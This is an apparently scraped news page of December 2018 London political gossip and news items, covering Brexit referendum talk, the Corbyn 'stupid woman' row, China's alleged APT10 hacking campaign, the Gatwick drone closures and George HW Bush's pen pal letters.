says, when my stuff [is] lifted by you its just for fillers. Last time I was not even named she went on in reference to our story about her effort to make Theresa May say the words premature parliamentary ejaculation in the House. Maybe next time, Rupa. --- Twinkle toes? Jeremy Hunt denies Gove's dancing rumours (Jack Taylor/Getty) / Getty Images Jeremy Hunt says rumours he has a sprung dancefloor are evil lies spread by Michael Gove. In 2012 Gove said Hunt was a super Latin American dancer with a special set-up in his London home. But last night at the Bright Blue Christmas reception the Foreign Secretary snapped: I dont have one. And anyway, a source added, he lives in Carlton House, the official FCO residence now. Political murder on the dancefloor. --- James Stunt wishes his ex-wife Petra Ecclestone, well in a YouTube clip. Awww. But then he turns to his former in-laws. I obviously dont have warm opinions of Slavica and Bernie, he says, and to the Formula 1 magnate: Youre in your 80s, mate... get a new hobby. Happy Christmas! Baker lips service FORMER Arsenal skipper Tony Adams kissed comedian Danny Baker in a nightclub in Essex, according to Baker an incident many years ago that led directly to Adams giving up alcohol. Baker was at Hollywoods in Romford when he saw Adams being carried back in worse for wear. Then Adams saw Baker and came hurtling towards me and grabbed my ears and tried to plant a kiss on my forehead. But as Baker tried to duck by tilting his head up, their lips met. Baker told his podcast Behind Closed Doors: That night was the night he thought I actually cant do this any more. --- Liz Truss posted this picture with Doctor Whos Jodie Whittaker yesterday. Does the Chief Secretary to the Treasury have a cunning plan to travel back in time and stop the Brexit vote from happening? SW1A Eyes on the prize: Penny Mourdant's leadership aspirations (Leon Neal/Getty) / Getty Images Penny Mordaunt is expanding her team of special advisers, fuelling talk of her leadership ambitions. The Brexit-supporting International Development Secretary had been relying solely on Laura Round, former comms director at think tank Bright Blue, who has been rushed off her feet. But now Mordaunt a driven former PR who stripped to her swimmers for ITV diving show The Splash has hired Lynn Davidson, the effective Whitehall correspondent at The Sun, who will start at DfID in the new year. --- Nicola Sturgeon, First Minister of Scotland, found a timely present for Theresa May yesterday a bottle of Misty Isle gin from the island of Skye. As we reported earlier this year, gin is Mrs Mays favourite spirit. And on Tuesday one of the PMs MPs, Sir Nicholas Soames, told the SNPs Ian Blackford to go back to Skye. Maybe, teased Sturgeon, she should give Nicholas Soames a taste. Dolly and Pandora spreads some festive cheer as the Yuletide countdown gathers pace Christmas is almost here. Last night High Low podcasters Dolly Alderton and Pandora Sykes were the glitziest girls at the ball or a Christmas party at Isabel in Mayfair. Sykes donned a starry Christmas headpiece and Alderton a golden jumpsuit. Its been a pretty festive week. The BBCs Huw Edwards spread goodwill to all those at a carol service, and Oscar-winning actor Nicole Kidman posed beside her Christmas tree. Deliciously Ella blogger Ella Mills and her husband, Matt son of the late Tessa Jowell looked loved up beneath the Regent Street lights. And comedian Jack Whitehall, his father Michael and other members of the family are preparing for a Christmas feast: they rustled up a banquet at Raymond Blancs cookery school earlier this week. A little healthy father-son competition whetted their appetites, Whitehall Snr commenting that he was showing Jack how it was done. Nothing like family arguments at Christmas. Quote of the Day It is so helpful if we have ministers who give an answer like that... who dont bull**** D iane Abbott appeared to inch Labour closer to backing a second referendum today by saying it may be the only option to break Brexit deadlock. The shadow home secretary spoke out after Conservative Amber Rudd became the first Cabinet minister to say openly there is a plausible argument for the public to decide. The interventions by two of the most senior women in politics follow concern there is no majority in Parliament for Theresa Mays withdrawal agreement or for any other Brexit blueprint. It may be that that is the only option available, said Ms Abbott, a close ally of leader Jeremy Corbyn. She went on: The leadership sticks by the policy, and the policy is we have not taken a second referendum off the table. The remarks come three days after The Londoner in the Standard said Ms Abbott, behind closed doors, was vociferously backing a referendum. Her words will be seen as highly significant because Mr Corbyns reluctance to endorse a second referendum is the biggest hurdle in the way of the Peoples Vote campaign for a national poll with Remain as one of the options. Labours leader insists his priority is the downfall of the Government but he has refused to table a confidence vote that would settle whether he has the ability to oust it. Ms Rudds separate call was hailed as a massive moment by campaigners. Tory ex-minister Anna Soubry praised the Work and Pensions Secretary for a brave and principled stand. Ms Rudd told ITVs Peston last night: I dont want a Peoples Vote, or a referendum in general, but if Parliament absolutely failed to reach a consensus I could see there would be a plausible argument for it. She called for an indicative vote in the Commons on different options. Commons Leader Andrea Leadsom, a Brexiteer, hit back at Ms Rudd this morning, telling Radio 4s Today programme: I think it would undermine the biggest democratic exercise ever, where we had a clear majority to leave the European Union. To have a second referendum would unfortunately be going back to people and telling them they have got it wrong and they needed to try again. I think it would be unacceptable. She confirmed she had been looking at a managed no-deal Brexit. However, that was dismissed as a fantastical mythical creature by Cabinet colleague David Gauke in yesterdays Standard. C abinet minister Andrea Leadsom today refused to accept Jeremy Corbyns denial that he called Theresa May a stupid woman. Senior Labour MPs backed Mr Corbyn who insisted that he mouthed stupid people, referring to Conservative MPs at Prime Ministers Questions, rather than stupid woman, directed at Mrs May. But the Commons Leader told ITVS Good Morning Britain: I think he said stupid woman thats how it looked to me. Calling the Prime Minister a stupid woman would be absolutely unacceptable. Muttering stupid people I guess is less unacceptable. She added: Im not accusing him of something, Im just telling you what I think he said. Jeremy Corbyn was accused of mouthing the words 'stupid woman' at Theresa May However, shadow home secretary Diane Abbott, a close ally of Mr Corbyn, defended him, suggesting he would have apologised if he had used a derogatory term against Mrs May. Pressed on the Radio 4 Today programme whether sorry was the hardest word for Mr Corbyn over the row, Ms Abbott said: Jeremy is a very honest man and if he has anything to say sorry for he will always say sorry. Jeremy Corbyn denies calling PM a 'stupid woman' Speaking to the Evening Standard later, she added: Jeremy said that he said people not woman and that must be correct. Labours deputy leader Tom Watson added that Mr Corbyn had denied using those words, and that is good enough for me. During the exchanges, Mrs Leadsom also accused Mr Bercow of previously calling her a stupid woman; he said this issue had already been addressed. L abour MP Ivan Lewis has resigned from the party and lashed out at Jeremy Corbyn over its anti-Semitism row. In a letter to Mr Corbyn on Thursday, he said: All too often you have been unwilling to condemn those whose hatred of Israel becomes Jew hatred. Mr Lewis, who represents Bury South, served as a minister under Tony Blair and Gordon Brown but was removed from the Shadow Cabinet when Mr Corbyn took over the leadership in 2015. In a move that could reignite the row over Labours issues with anti-Semitism, Mr Lewis said: It is for others to determine whether you are anti-Semitic, but what is absolutely clear is that you and Seamus Milne [Mr Corbyns communications director] do not believe in the right of the Jewish people to self-determination in their own state. This is different to your view on the right to self-determination for every other minority community. Mr Lewis was suspended by the party in November last year over accusations of sexual harassment. The MP, who denies the allegations, said the party never interviewed him over the claims. A party source hit back on Thursday, claiming the "complainants have been denied a hearing" because of the resignation. Mr Lewis also criticised Mr Corbyns handling of Brexit: It is no wonder that so many British people are uncomfortable at the prospect of you becoming Prime Minister of one of the worlds most enduring western liberal democracies. Jeremy Corbyn pictured in the Commons on Wednesday / AFP/Getty Images On Brexit they sense your discomfort as a lifelong Eurosceptic seeking to conceal your true beliefs from your ardent supporters within the party, who are overwhelmingly pro-European. Mr Lewis, who expressed his pride at being part of the Blair and Brown administrations, said he would be continuing as an independent MP. A party spokesman said: "Jeremy Corbyn thanks Ivan for his service to the Labour Party. "The Labour Party takes all complaints of sexual harassment extremely seriously, which are fully investigated in line with our rules and procedures and appropriate disciplinary action taken. J eremy Corbyn had a tense exchange with a BBC reporter today as he hit out at the media for their coverage of the "stupid woman" row, claiming journalists are "utterly obsessed". Mr Corbyn could not hide his annoyance at the row, which broke out during Prime Ministers Questions on Wednesday after he was accused of muttering stupid woman as Theresa May spoke. He has strongly denied the allegation and claimed he said stupid people. In a tense exchange with a BBC reporter in Northampton on Thursday, Mr Corbyn said: I made very clear in Parliament what I actually thought and said at the time which was the behaviour of Conservative MPs in turning the very serious issue in failing to negotiate properly on Brexit, turning it into a pantomime and I said what they were was stupid people for their behaviour. When the reporter said he was not using respectful language, Mr Corbyn hit back: I muttered it to myself, actually, in Parliament, and you and your colleagues in the media seem utterly obsessed with this. Jeremy Corbyn appears to mouth 'stupid woman' towards Theresa May during PMQs The veteran MP for Islington North then accused the media of not covering the death of homeless Gyula Remes outside Parliament on Wednesday. In fact, all mainstream outlets covered the death, including the BBC. Jeremy Corbyn denies calling May a stupid woman He said: The fact a homeless man died outside Parliament has got no coverage whatsoever, and it should. TODO: define component type apester It came after Cabinet minister Andrea Leadsom refused to accept Mr Corbyns denial. The Commons leader told ITVs Good Morning Britain: I think he said stupid woman, thats how it looked to me. Calling the Prime Minister a stupid woman would be absolutely unacceptable. Muttering stupid people I guess is less unacceptable. D isgraced MP Fiona Onasanya today compared herself to Jesus and other figures from the Bible after being found guilty of perverting the course of justice. In a message to Labour MPs seen by The Times newspaper, Ms Onasanya, 35, wrote: I am in good Biblical company along with Joseph, Moses, Daniel and his three Hebrew friends who were each found guilty by the courts of their day. ... Of course this is equally true of Christ who was accused and convicted by the courts of his day." The paper suggests she has hinted that she will not quit her 77,000 a year post. Earlier today a senior Labour figure said: The fact is that she has been convicted of a serious offence and has misled the court and the party. She should resign straight away, both for her and for her constituents. From the point of view of public reputation and for her constituents she must go straight away. Ms Onasanya, a key Jeremy Corbyn ally, was effectively sacked by the Labour Party yesterday afternoon by having the whip withdrawn. They are urging her to resign, which means they can get a candidate in place should there be a by-election. An election will be triggered automatically if she receives a custodial sentence of a year or more. Last night Tory MP Stewart Jackson who used to represent the seat ruled out running again. Former UKIP leader Nigel Farage has also ruled out standing. Ms Onasanyas Nissan Micra was recorded travelling at 41mph in a 30mph zone in a village near Peterborough on July 24 2017. The Old Bailey heard evidence that she was behind the wheel of the car - and may also have been sending text messages. The jury was also told she went on to lie repeatedly about her involvement to avoid prosecution. Her brother Festus Onasanya, 34, from Cambridge, previously pleaded guilty to three counts of perverting the course of justice. The pair will be sentenced on a date yet to be set. A Labour Party spokesman said: The Labour Party is deeply disappointed in Fiona Onasanyas behaviour. It falls well below what is expected of politicians. She should now resign. P olice officers protected Conservative MP Anna Soubry as she was surrounded by Brexit "yellow vest" protesters who shouted "Hitler" jibes at her. The protesters followed the Remain-backing MP as she walked to an interview with Sky News from Parliament and accused her of being on the side of Hitler. The Broxtowe and Nottinghamshire MP was on her way to Sky News to take part in an interview about misogyny in politics, journalist Beth Rigby said. A video now widely shared online shows the former cabinet minister, who backs a second EU referendum, being accosted and shouted at by protesters. In the video, one man wearing a high-visibility vest is seen calling Ms Soubry a disgrace to the country for her vigorous campaigning for a People's Vote and to Remain in the EU. She is then probed with questions, as one asks: Why do you think you can get away with it? Why are you calling for a second vote? The 62-year-old is then told: You are a traitor, you are a traitor to this country. You are on the side of Adolf Hitler. Tory MP Anna Soubry (Photo Chris McAndrew) Ms Soubry and the group were accompanied by two officers as they walk past Parliament. At one point a police officer stepped in to ask one of the protesters to stand back. MPs from all sides have rallied round Ms Soubry to condemn the abuse and declare solidarity. Labour MP David Lammy said: This kind of nasty, aggressive behaviour towards an elected representative is reprehensible. Particularly a woman. Solidarity with Anna Soubry. Fellow Labour MP Diana Johnson said: This is truly awful and whatever your view on Brexit, there is absolutely no excuse for this type of intimidation and thuggery. Calling an MP a traitor for holding a different view is unacceptable. This is dangerous and needs to be called out and stopped. Solidarity with Anan Soubry. Conservative MP Heidi Allen said: I dont care how you voted in the referendum, but this is intimidation and harassment is completely unacceptable. What have we become?! I am proud to call Anna Soubry my friend and respect and admire her greatly. Ms Soubry posted her thanks for the support on Twitter, writing: Thank YOU! Some of them were open in their support for Hitler - all of them abusive. This is what we have unleashed - bigotry, hate, racism & brutal nationalism. Time to heal and remember the overwhelming majority of British people are decent, kind and tolerant. C hina has been accused of launching a "widespread and significant" campaign of "cyber intrusions" against the UK and its allies. The Foreign Office said it had been assessed with the "highest level of probability" that a group acting on behalf of the Chinese Ministry of State targeted intellectual property and commercially sensitive data in companies in Europe, the US and Asia. Foreign Secretary Jeremy Hunt said: "This campaign is one of the most significant and widespread cyber intrusions against the UK and allies uncovered to date, targeting trade secrets and economies around the world. "These activities must stop. They go against the commitments made to the UK in 2015, and, as part of the G20, not to conduct or support cyber-enabled theft of intellectual property or trade secrets. Jeremy Hunt said China had tried to hack to steal "trade secrets" / AFP/Getty Images "Our message to governments prepared to enable these activities is clear: together with our allies, we will expose your actions and take other necessary steps to ensure the rule of law is upheld." The group was organised more like an corporation than a gang, a UK government official told The Guardian. Officials said the issue had been raised privately at the highest levels with China for the best part of two years, including by Theresa May, but that the hacking had not stopped so now the Chinese were being challenged in public, according to the paper. A spokesman for Prime Minister Theresa May said: "We enjoy a strong relationship with China, that allows us to express disagreement after claims of hacking." The hacking was conducted by a group known as APT 10, which was acting on behalf of China's Ministry of State Security, the Foreign Office said in a statement. "This campaign shows that elements of the Chinese government are not upholding the commitments China made directly to the UK in a 2015 bilateral agreement," the a UK government official said. The US Justice Department is charging two Chinese citizens in relation to the campaign. An indictment was unsealed Thursday against Zhu Hua and Zhang Shillong. Prosecutors say they were acting on behalf of China's main intelligence agency. Britain joins the United States, Australia, Canada, Japan, the Netherlands, New Zealand and Sweden in condemning the efforts to steal other countries trade secrets and technologies. The Foreign Office said the group almost certainly continues to target a range of global companies, and are seeking to gain access to commercial secrets. US Deputy Attorney General Rod Rosenstein said fresh indictments of Chinese government hackers who allegedly targeted scores of companies in a dozen countries. / AFP/Getty Images It is accused of mounting a "malicious" and "sustained" campaign targeting a range of global companies. One Whitehall official said targeting such large organisations gave the hackers a "jumping-off point" into the wider corporate world, making it hard to assess just how far they had penetrated. "It is the very widespread targeting and sometimes deep penetration of globally significant companies. The tentacles of this campaign are vast. "You can see the initial intrusion but it becomes harder to track secondary and tertiary intrusions, so there is an element about this technically which we will not know." Court papers filed in Manhattan federal court allege the hackers were able to breach the computers of more than 45 entities in 12 states. The victims were in a variety of industries from aviation and space to pharmaceutical technology. Prosecutors charge that the hackers were able to steal "hundreds of gigabytes" of data. P assengers stranded at Gatwick Airport by the ongoing drone disruption are anticipating spending the night in the terminal after hotels in the area became fully booked. It comes as those affected by the incident have told of families running out of food and trying to sleep in "freezing" terminals and crowded planes as they try to travel home for Christmas. Kind-hearted residents living near the airport on Thursday offered up their spare beds to those facing continued disruption, which has affected tens of thousands of passengers. No indication has been given about when the UK's second busiest airport can reopen and easyJet has cancelled all flights to and from the West Sussex airport on Thursday. Passengers stranded at Gatwick airport / PA Carl and Lisa McCluskey, from Lincolnshire, found out from an air stewardess at Gatwick on Thursday that their flight to Egypt was delayed until further notice. They have been told to check in with their airline Thomas Cook at 6am on Friday morning and, unable to check into a local hotel or make the three-hour journey home, face spending the night in the airport with their two daughters, aged seven and eight. Mr McCluskey, 44, said: "It's mindless idiots probably, they know what they're doing to hundreds of thousands of people. They would have seen the disruption to come out again this afternoon." The family, travelling with Mrs McCluskey's parents, said their two-week trip cost about 6,500. Passengers wait for announcements at Gatwick / Getty Images Andri Kyprianou, from Cyprus, said she saw a pregnant woman sleeping on the floor and passengers with infants spending the night in the "freezing" South Terminal. She said she got to the airport at 12.30am for a 3am flight to Cyprus via Kiev, only to find it had been cancelled and the next connection in Kiev is on Sunday. She said: "I haven't slept since yesterday morning, we are very tired. It's freezing, we are cold, having to wear all of these coats for extra blankets. "There were pregnant women, one of them was sleeping on the floor. There were people with small babies in here overnight, we saw disabled people on chairs. "There were young children sleeping on the floor." Chris Lister, from Somerset, was travelling back from Kiev with his wife Freya. He was due to land at Gatwick at 9.45pm on Wednesday but ended up trapped on the plane on the tarmac at Birmingham Airport until 6am. "There were quite a few babies and kids on board, I think they were struggling more than we were and one woman had run out of milk," he said. Passengers stranded at Gatwick airport which has been closed after drones were spotted / PA Passenger Ani Kochiashvili had been bound for Georgia but spent six hours overnight sitting on a plane with her children. "I'm very annoyed because I'm with two kids, a three-month-old and three-year-old," she told Reuters by phone among thousands camped in the terminal. "They require a lot of space and food and changing and all that, and the airport is crazy busy so it's challenging." Passengers outside of the UK also faced being stranded after the drone disruption, with Emily on Twitter writing: Stranded in New York because all flights to Gatwick have been cancelled. People wait in the departures area at Gatwick airport / AP Gemma Denny was among a handful of residents who offered a spare room to stranded passengers. She said: "If there is anyone who is stuck at Gatwick due to the drones and needs a place to stay for the night we have a spare room close by and would be more than happy to put you up for free." On Thursday troops were sent to the UKs second biggest airport after the unprecedented attempt to cripple Christmas travel was carried out. As thousands of passengers waited at Gatwick, police hunted unsuccessfully for the operators of the drones which reappeared near the airfield every time the airport tried to reopen the runway. Sussex Police said there was no indication of a terrorism motive behind the devices, which first appeared on Wednesday night and caused inbound flights to be redirected. Superintendent Justin Burtenshaw, of Sussex Police, said: "We believe this to be a deliberate act to disrupt the airport. However, there are absolutely no indications to suggest this is terror-related." Bride-to-be Tayo Abraham (centre) surrounded friends, part of the wedding party, at Gatwick Airport / PA "We will be deploying the armed forces," Defence Minister Gavin Williamson added in a statement to reporters earlier on Thursday. "We are there to assist and do everything we can." The airport said flights would remain shut down until further notice on a day when 115,000 people were scheduled to pass through, many en route to seasonal breaks. Prime Minister Theresa May's spokesman condemned the standoff as "irresponsible and completely unacceptable". P assengers trying to get from Gatwick Airport to Edinburgh are being offered free train travel instead to help them get home for Christmas. Drone activity has seen the runway shut for hours with inbound and outbound flights stopped, leaving thousands of passengers affected. With swathes of people seeing huge queues or being held on planes, London North Eastern Railway is providing an alternative. A post from the rail provider said: Has your flight between London Gatwick Airport and Edinburgh been cancelled today? If so, you can use your flight tickets to travel on our trains today for FREE. When the airport will be fully functional again is unclear and operational delays are expected following the incident, In the latest statement on the incident, a Gatwick spokeswoman said: "Flights to and from Gatwick Airport remain suspended following reports of drones flying over Gatwick's airfield last night and in the early hours of this morning. D epartures from Heathrow airport were halted following reports of drone sightings. Flights were suspended for an hour after police announced drones had been spotted in the surrounding area. A Heathrow Airport spokesperson said: "We are currently responding to a drone sighting at Heathrow and are working closely with the Met Police to prevent any threat to operational safety. "As a precautionary measure, we have stopped departures while we investigate." Heathrow later announced on their Twitter page that the airport was "operating normally" and that there are "currently no disruptions to flights." The latest sighting comes after drones caused travel chaos at Gatwick Airport last month, with thousands of passengers having their flights disrupted. New laws introduced earlier this year mean drone users who flout airport boundary restrictions could be imprisoned. Here we take a look at the laws surrounding the use of drones. What are the restrictions around flying drones near airports? Passengers in Terminal 2 at Heathrow airport after departures were temporarily suspended following "reports of drones" at the airport. / PA The new laws have banned all drones from flying above 400ft and within 1km of airport boundaries. Drone users who ignore the height and airport boundary restrictions could face an unlimited fine, up to five years in prison, or both. Research funded by the Department for Transport (DfT) found that a drone weighing 400g could smash a helicopter windscreen, and one weighing 2kg could critically damage an airliner's windscreen. Are there any other laws to bear in mind? Laws introduced to the Commons in May mean people flying drones which weigh 250g or more will have to register with the Civil Aviation Authority (CAA). Drone pilots will be required to take an online safety test under the new legislation, with the requirements set to come into force in November next year. In July, the DfT said it was considering introducing an age restriction, banning children from owning drones weighing at least 250g. It also said it was considering giving police the power to issue on-the-spot fines of up to 300 for misuse and the ability to seize drones being used irresponsibly. Have there been any incidents at airports in the past? Queues of passengers at Gatwick Airport, as the airport remains closed / Thomas Hornall/PA Wire According to the British Airline Pilots Association (Balpa), there were already 117 near misses between manned aircraft and drones up until November this year, compared to 93 for the whole of 2017. In October, it was reported that a drone "put 130 lives at risk" after nearly hitting an aircraft approaching Gatwick Airport over the summer. According to the UK Airprox Board, the flying gadget passed directly over the right wing of the Airbus A319 as it was preparing to land at the West Sussex airport in July. Also in October, a drone collided with a commercial aircraft as it was approaching to land in Canada. There were six passengers and two crew on the aircraft and the drone connected with its wing, but fortunately it suffered only minor damage, allowing it to land safely at Jean Lesage International Airport in Quebec City. How can people stay safe flying drones? Passengers sleeping in the arrivals hall at Heathrow airport after departures were temporarily suspended last night following reports of a drone at the airport / PA Balpa has urged people be aware of the rules before they take their drone out and about. Dr Rob Hunter, head of flight safety, said: "Even two kilograms of metal and plastic, including the battery, hitting an aircraft windscreen or engine or a helicopter tail rotor, could be catastrophic. "People who buy these devices need to make sure that they know the rules and stick to them, so they don't put anyone's life in danger. "Pilots don't want to ruin anyone's fun but if you are going to use drones the message is clear: Know the laws or expect serious consequences. A High Court judge has waived an anonymity ruling to help find a three-year-old boy who has gone missing with his mother. Mr Justice Williams said he had "grave concerns" for Olly Sheridan, who has been missing from Basildon, Essex, with his mother since July. He said he wants people to raise the alarm immediately if they had any information about the whereabouts of 26-year-old Ellie Yarrow-Sanders and her son. Ms Yarrow-Sanders has been embroiled in private family court litigation with her ex-partner, Olly's father, Patrick Sheridan. Police are appealing for information relating to the whereabouts of Ellie Yarrow-Sanders / PA The judge made an appeal for help at a hearing in the Family Division of the High Court in London on Wednesday. Hearings have been staged in private and journalists have been barred from identifying family members, who come from the Basildon area or Essex, involved. Patrick Sheridan with his son Olly / PA But Mr Justice Williams said he was lifting an identity bar in the hope that publicity would help find Olly and Miss Yarrow-Sanders. "I'm so desperately worried about my son and just want him home," said Mr Sheridan, a civil engineer in his 40s, after the hearing. "My message to Ellie is simple: 'Please come back so that we can see Olly's all right'. "That's all I want." Lawyers said anyone with information could call the Essex Police non-emergency number, 101. T he Queen has travelled to Norfolk by train as she prepares to spend Christmas with her family at her Sandringham home. She began her break by travelling from King's Cross to Norfolk on Thursday afternoon. The Queen travelled alone and will later be joined by other senior Royals including the Duke and Duchess of Cambridge and Meghan and Harry. She caught the 10.42am Great Northern service from King's Cross station in London and arrived at platform two in King's Lynn on time, at 12.31pm. The Queen starts Christmas break: In Pictures 1 /8 The Queen starts Christmas break: In Pictures Queen Elizabeth II as she steps from a train PA Queen Elizabeth II arrives PA Queen Elizabeth II smiles as she steps from a train upon arrival at King's Lynn railway station in Norfolk PA Police patrols at King's Lynn railway station in Norfolk, ahead of the arrival of Queen Elizabeth II PA The arrival started the Queen's Christmas break PA The Queen set off from Kings Cross station PA Police patrols at King's Lynn railway station PA Guarded from the cold by a brown coat, black gloves and headscarf, the Queen stepped from the front carriage of the train onto the platform. PA Security had been in place at the station all morning ahead of the monarchs arrival. Guarded from the cold by a brown coat, black gloves and headscarf, the Queen stepped from the front carriage of the train onto the platform. She briefly mingled with passengers as she was escorted through a side exit to a waiting Range Rover. Extra police patrols were put in place for the Queen / PA Sandringham, the Queen's private estate in Norfolk, is a 30-minute drive from King's Lynn. Passenger Phil Kay, 62, who boarded the train at Downham Market, said he did not know the Queen was on board until he arrived at King's Lynn and saw police and photographers on the platform. "I didn't see her, well, not that we went up that end of the train but it's marvellous isn't it?" he said. "I think it's great that she does (travel by train). "It just makes her more acceptable to the people doing things like that." The Queen will be joined by other members of the Royal Family as they attend their traditional Christmas Day church service. T hree astronauts have landed back on earth on after living on the International Space Station for more than six months. They returned in the Russian Soyuz capsule which landed on the snow-covered steppes in Kazakhstan on Thursday, after 197 days in space. The crew spoke over radio and said they were feeling fine. Russian rescue teams rushed to the landing site, in helicopters and all-terrain vehicles, to take the astronauts from the capsule. Search and rescue teams approach the capsule / REUTERS/Shamil Zhumatov Its body had been charred by a fiery ride through atmosphere. The rescue crews helped the crew, clad in their iconic space suits, leave the capsule and conducted initial medical examinations on them. The trio was made up of NASA's Serena Aunon-Chancellor, Russian Sergey Prokopyev and German astronaut Alexander Gerst of the European Space Agency. The International Space Station (ISS) crew member astronauts Serena Aunon-Chancellor (R, front) of the USA, Alexander Gerst (L, front) of Germany and cosmonaut Sergey Prokopyev (C, front) of Russia rest after landing ( EPA/SHAMIL ZHUMATOV/POOL ) / EPA/SHAMIL ZHUMATOV/POOL It was the first mission for Ms Aunon-Chancellor and Mr Prokopyev. Meanwhile, it was Mr Gerst's second and took him to a total of 362 days in orbit which set the ESA's flight duration record. The astronauts will be taken to Dzhezkazgan, a city around 87 miles from their landing spot, for a brief welcome ceremony then to their respective countries for more thorough check-ups. D onald Trump faced a growing backlash today over his abrupt decision to withdraw US troops from Syria. The Presidents move raised concern among allies, including the UK, amid fears it could cede influence to Russia and Iran in the region and lead to a resurgence of Islamic State. Senators in Mr Trumps own Republican Party attacked his decision as a colossal mistake and grave error after it was revealed that he ignored the advice of senor aides to declare victory in Syria and announce he was bringing around 2,000 US troops home. Pentagon officials were said to be scrambling today to pin down the timing of the withdrawal which the White House said had already begun. Mr Trump released a video message on Twitter last night to announce the surprise decision. We have won against ISIS [Islamic State], said the President. Weve beaten them and weve beaten them badly. Weve taken back the land and now its time for our troops to come back home. I get very saddened when I have to write letters or call parents or wives or husbands of soldiers who have been killed fighting for our country. So our boys, our young women, our men, theyre all coming back and theyre coming back now. We won, and thats the way we want it. Vehicles of the US-backed coalition forces in the northern Syrian town of Manbij / AFP/Getty Images While US troops have helped push back jihadist fighters, military analysts say pockets remain and could regain a foothold. According to CNN, the President overruled Defence Secretary James Mattis, Secretary of State Mike Pompeo and national security adviser John Bolton. The only ally alerted before the announcement was Israeli premier Benjamin Netanyahu, who was reportedly assured by Mr Trump that the US had other ways of expressing their influence in the area. Republican Senator Lindsey Graham, a supporter of Mr Trump, called the move an Obama-like mistake. An American withdrawal will put the Kurds and all those who came to Americas aid in destroying ISIS at tremendous risk, he said. G eorge HW Bush secretly sponsored a Filipino boy for a decade, a charity has revealed. The 41stUS president, who died last month, wrote to the boy over a 10-year period under a pseudonym. He was connected to the seven-year-old boy, Timothy, through the Compassion International charity for development of children living in poverty worldwide. His first letter read: Dear Timothy, I want to be your new pen pal. I am an old man, 77 years old, but I love kids; and though we have not met I love you already. I live in Texas - I will write you from time to time - Good Luck. G. Walker." The president's first letter to Timothy / Compassion International/AFP/Getty Images Mr Bush was introduced to the Christian charity's pen pal programme at a Christmas concert in Washington in 2001. Wess Stafford, its former president, told CNN: They [the musicians] would tell the audience about us, and ask them if they would like to sponsor a child. State funeral of George HW Bush - In pictures 1 /42 State funeral of George HW Bush - In pictures The flag-draped casket of former President George H.W. Bush is carried by a joint services military honor guard from the U.S. Capitol AP President Donald Trump and first lady Melania Trump arrive for the State Funeral former President George H.W. Bush, at the National Cathedral AP U.S. President Donald Trump and first lady Melania Trump stand with former President Barack Obama, former first lady Michelle Obama, former President Bill Clinton, former first lady Hillary Clinton, former President Jimmy Carter and former first lady Rosalynn Carter in the front row at the state funeral for former U.S. President George H.W. Bush at the Washington National Cathedral in Washington Reuters President Donald Trump shakes hands with former President Barack Obama during a State Funeral service for former President George H.W. Bush AP President Donald Trump, first lady Melania Trump and former presidents, vice presidents, first ladies and spouses attend the state funeral for former President George H.W. Bush at the National Cathedral December 05, 2018 in Washington, DC. A WWII combat veteran, Bush served as a member of Congress from Texas, ambassador to the United Nations, director of the CIA, vice president and 41st president of the United States. Getty Images Former United States President George W. Bush (2L) greets Former United States President Barack Obama (C) as he arrives at the National Cathedral for the funeral services for former United States President George H. W. Bush, in Washington EPA The flag-draped casket of former President George H.W. Bush is carried by a military honor guard into a State Funeral at the National Cathedral AP U.S. President Donald Trump with former President Barack Obama as he takes his seat in the first row along with former first lady Michelle Obama, former President Bill Clinton and former first lady Hillary Clinton, former President Jimmy Carter and first lady Rosalynn Carter prior to the state funeral for former U.S. President George H.W. Bush at the Washington National Cathedral in Washington Reuters The hearse carrying the flag-draped casket of former President George H.W. Bush passes by the White House from the Capitol, heading to a State Funeral at the National Cathedral AP The casket with the remains of former US President George H.W. Bush departs the US Capitol during a State Funeral in Washington, DC AFP/Getty Images A joint services military honor guard carry the flag-draped casket of former President George H.W. Bush from the US Capitol, in Washington EPA A joint service honor guard carries the casket of former US President George H.W. Bush Reuters Former U.S. President Bill Clinton and former first lady and Secretary of State Hillary Clinton look over at former U.S. President Barack Obama and former first lady Michelle Obama while seated with former President Jimmy Carter and first lady Rosalynn Carter (R) prior to the state funeral for former U.S. President George H.W. Bush at the Washington National Cathedral in Washington Reuters (Front L-R)US President Donald Trump, First Lady Melania Trump, former US President Barack Obama, former US First Lady Michelle Obama, former US President Bill Clinton, former First Lady Hillary Clinton, and former US President Jimmy Carter sit before the funeral service for former US President George H. W. Bush at the National Cathedral in Washington, DC AFP/Getty Images Jordan's King Abdullah II(C)and Queen Rania arrive before the funeral service for former US President George H. W. Bush AFP/Getty Images A U.S. military honor guard team carries the flag draped casket of former U.S. President George H. W. Bush from the U.S. Capitol Getty Images President Donald Trump and first lady Melania Trump arrive for the state funeral for former President George H.W. Bush Getty Images A U.S. military honor guard team carries the flag draped casket of former U.S. President George H. W. Bush from the U.S. Capitol Reuters People watch as the hearse carrying the flag-draped casket of former President George H.W. Bush heads to a State Funeral at the National Cathedral AP An honor guard marches away after President George H.W. Bush's state funeral procession passed by the White House AP Sully, former President George H.W. Bush's service dog, pays his respect to President Bush as he lie in state at the U.S. Capitol in Washington AP Members of the public file through the Capitol Rotunda to view the flag-draped casket of the late former President George H.W. Bush Getty Images Former US first lady Laura Bush (L) and former US President George W. Bush (2nd L) greet US President Donald J. Trump (R) and first lady Melania Trump (2nd R) outside of Blair House in Washington, DC EPA Mourners pay their respects in front of the casket of the late former President George H.W. Bush as he lies in state in the U.S. Capitol Rotunda Getty Images Former US President George W. Bush and former First Lady Laura Bush visit the casket containing the body of former US President George H.W. Bush in the Rotunda of the US Capitol in Washington, DC EPA Former US President George W. Bush and First Lady Laura Bush put their hands on the casket of Former President George H. W. Bush as he lies in state in the Rotunda of the US Capitol in Washington, DC EPA Visitors gather before a State Funeral for former President George H.W. Bush at the National Cathedral EPA Former Vice President Al Gore walks joins attendees at the state funeral Reuters Prince Charles walks past U.S. Vice President Mike Pence as he arrives at the state funeral for former U.S. President George H.W. Bush Reuters Former Canadian Prime Minister Brian Mulroney is greeted by former British Prime Minister John Major prior to the state funeral for former U.S. President George H.W. Bush at the Washington National Cathedral Reuters Former CIA Director John Brennan (L), shakes hands with President Donald Trump's Chief of Staff John Kelly (R), before a State Funeral for former President George H.W. Bush EPA The casket with the remains of former US President George H.W. Bush departs the US Capitol during a State Funeral in Washington AFP/Getty Images The casket with the remains of former US President George H.W. Bush departs the US Capitol during a State Funeral in Washington AFP/Getty Images The casket with the remains of former US President George H.W. Bush departs the US Capitol during a State Funeral in Washington AFP/Getty Images Former US President George W. Bush and former First Lady Laura Bush watch as the flag-draped casket of former President George H.W. Bush is carried by a joint services military honor guard at the US Capitol AFP/Getty Images 